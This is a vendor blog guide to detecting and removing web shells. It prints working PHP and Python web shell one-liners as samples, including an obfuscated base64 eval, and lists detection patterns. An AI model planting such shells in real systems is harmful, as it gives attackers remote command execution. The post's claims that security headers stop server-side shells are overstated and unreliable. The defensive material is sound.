Skip to main content
Back to blog
April 28, 2026|8 min read

Web Shell Detection and Removal: A Practical Guide

A web shell gives attackers persistent backdoor access to your server. Learn how they're planted, how to detect them, and how to harden your site to prevent re-infection.

ZeriFlow Team

1,417 words

Web Shell Detection and Removal: A Practical Guide

Web shell detection is one of the most critical — and underrated — skills in web security. A web shell is a malicious script uploaded to a compromised server that gives an attacker a persistent backdoor: they can browse your file system, exfiltrate data, escalate privileges, and pivot to other systems, all through a normal-looking HTTP request. By the time you notice, the attacker may have been inside for weeks.

Is your site exposed? Run a free ZeriFlow scan →

What Is a Web Shell?

A web shell is a small script — typically PHP, ASP, JSP, or Python — that acts as a remote administration interface for an attacker. Unlike traditional malware, it lives inside your web application's file structure, is served by your own web server, and communicates over standard HTTP/HTTPS. This makes it extremely difficult to detect with network-based defenses alone.

The attacker accesses the shell by navigating to a URL like https://yoursite.com/uploads/image.php?cmd=whoami. The web server executes the script and returns the output. From there, the attacker has a fully interactive command shell running as whatever user your web server process runs as.


Common Web Shell Variants

China Chopper

One of the most widely deployed web shells, China Chopper is compact — the server-side payload is a single line:

php
<?php @eval($_POST['password']);?>

The attacker connects using a GUI client that issues POST requests. Despite its tiny size, it provides full file management, database access, and command execution. It's been used by APT groups and commodity attackers alike.

PHP Backdoor Shells

Common PHP shells like b374k, r57, and c99 provide full-featured file browsers, SQL query interfaces, and shell command execution through a web UI. They're often obfuscated using base64 encoding, eval(gzuncompress(...)), or character encoding tricks to evade simple string matching:

php
<?php $x=base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs=');eval($x);?>

ASP/ASPX Shells

On IIS servers, ASPX shells function identically but use .NET's reflection capabilities. They're often disguised as legitimate .aspx page files.

Minimal One-Liners

Beyond named tools, attackers frequently plant minimal shells that are harder to search for:

php
<?php system($_GET['c']); ?>
python
import os; os.system(request.args.get('c'))

How Web Shells Are Planted

File Upload Vulnerabilities

The most common vector. If your application allows users to upload files and doesn't strictly validate file type, an attacker can upload a PHP file disguised as an image. Weak validation includes: - Checking only the file extension (easily bypassed with shell.php.jpg or null-byte injection) - Checking only the MIME type from the browser (attacker-controlled) - Not stripping executable permissions from uploaded files

Remote Code Execution (RCE)

If a vulnerability exists in your application or a dependency (a CVE in your CMS, framework, or plugin), an attacker can directly write a shell to disk via RCE without needing to use your upload endpoint.

Server-Side Template Injection (SSTI)

SSTI vulnerabilities in Jinja2, Twig, or Smarty templates can be escalated to arbitrary file writes.

Compromised Dependencies

A malicious npm package, Composer dependency, or plugin update can write a shell during installation. This is the supply chain vector.


How to Detect Web Shells

File Integrity Monitoring

The most reliable detection method. Tools like AIDE, Tripwire, or OSQuery maintain a cryptographic hash of every file in your web root. Any new file or modification triggers an alert. This catches shells even if they're perfectly obfuscated.

For cloud deployments, compare your running filesystem against your known-good container image or deployment artifact.

Static File Scanning

LMD (Linux Malware Detect) and ClamAV with web shell signatures can scan your web root for known shell patterns. For PHP specifically, PHP Malware Scanner and PHPCS-Security-Audit detect suspicious constructs like: - eval( combined with base64_decode( - system(, exec(, passthru(, shell_exec( - $_GET or $_POST passed directly to execution functions

Web Server Log Analysis

Web shells generate anomalous HTTP traffic patterns: - POST requests to static file directories (/uploads/, /images/) - Requests to files with unusual response sizes (a 2KB "image" that returns 15KB) - Repeated requests to the same obscure file from different IPs - Requests with encrypted or encoded POST bodies

Tools like GoAccess or a SIEM can alert on these patterns.

HTTP Response Headers as a Detection Aid

Certain misconfigured headers indicate that file execution hasn't been disabled in upload directories — a precondition for web shells working. ZeriFlow checks headers like X-Content-Type-Options and Content-Security-Policy that, when missing, increase the risk that uploaded files could be executed or that a planted shell can phone home.

Check your security headers with ZeriFlow →


How to Remove a Web Shell

Once detected, follow this sequence carefully:

  1. 1Isolate the server — take the site offline or put it in maintenance mode to prevent further attacker access while you clean up.
  2. 2Preserve evidence — copy the shell file and relevant logs before deletion. You'll need them to understand the attack vector and may need them for incident reporting.
  3. 3Identify the entry point — examine web server logs for the first request that placed the file. Was it an upload? A plugin update? A direct POST to an RCE endpoint? You must close the entry point or the shell will return.
  4. 4Delete the shell file — simple file deletion is sufficient for the payload itself.
  5. 5Audit for additional shells — attackers routinely plant multiple shells in different directories. Scan the entire web root before declaring the incident closed.
  6. 6Rotate all credentials — database passwords, API keys, SSH keys, and application secrets that the web server process could access.
  7. 7Restore from a known-good backup — if you cannot confidently enumerate all attacker modifications, restoring from a pre-compromise backup is safer than manual cleanup.
  8. 8Patch the vulnerability — update the plugin, fix the upload validation, or apply the CVE patch that was exploited.

Hardening Your Server to Prevent Re-Infection

Disable PHP Execution in Upload Directories

The most effective prevention. In Apache:

apache
<Directory /var/www/html/uploads>
    php_flag engine off
    Options -ExecCGI
    AddHandler cgi-script .php .php3 .php4 .php5 .phtml .pl .py .jsp .asp .sh .cgi
</Directory>

In Nginx, serve uploaded files from a location block that doesn't pass requests to PHP-FPM.

Content Security Policy

A strict CSP with default-src 'self' prevents shells from loading external payloads or exfiltrating data to attacker-controlled servers — even if a shell executes in the browser context.

File Upload Validation Best Practices

  • Validate server-side against an allowlist of MIME types using file magic bytes, not just the extension.
  • Rename all uploaded files to a UUID with a safe extension.
  • Store uploads outside the web root, and serve them through a controller script.
  • Set file permissions to 644 (not 755) and never mark uploaded files as executable.

FAQ

Q: How long can a web shell go undetected?

A: Studies consistently show that attackers maintain access for an average of 200+ days before detection. Web shells are particularly persistent because they blend into the file system, use legitimate HTTP channels, and generate no unusual network traffic.

Q: Can a WAF detect web shells?

A: A WAF can block the requests that install or execute a shell if they match known signatures. But a sufficiently obfuscated shell executing via an encrypted POST body may evade signature matching. WAFs are a useful layer but should not be your only detection method.

Q: Do web shells survive server restarts?

A: Yes. They're just files on disk — a restart doesn't remove them. They survive deployments too, unless your deployment pipeline explicitly replaces all files from a clean source.

Q: Does renaming a web shell file neutralize it?

A: No. The file just needs to be accessible via a URL. An attacker who planted a shell knows its path; renaming it doesn't help unless you also delete it and close the entry point.

Q: What HTTP headers reduce web shell risk?

A: X-Content-Type-Options: nosniff prevents browsers from executing uploaded files with wrong MIME types. Content-Security-Policy with script-src 'self' blocks inline execution and external script loading. ZeriFlow checks both in its free scan.


Conclusion

Web shells are silent, persistent, and devastating. The combination of rigorous file upload validation, execution disabled in upload directories, file integrity monitoring, and regular header audits is your best defense. Detection requires active scanning — waiting for visible symptoms means waiting too long.

Scan your site free on ZeriFlow →

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading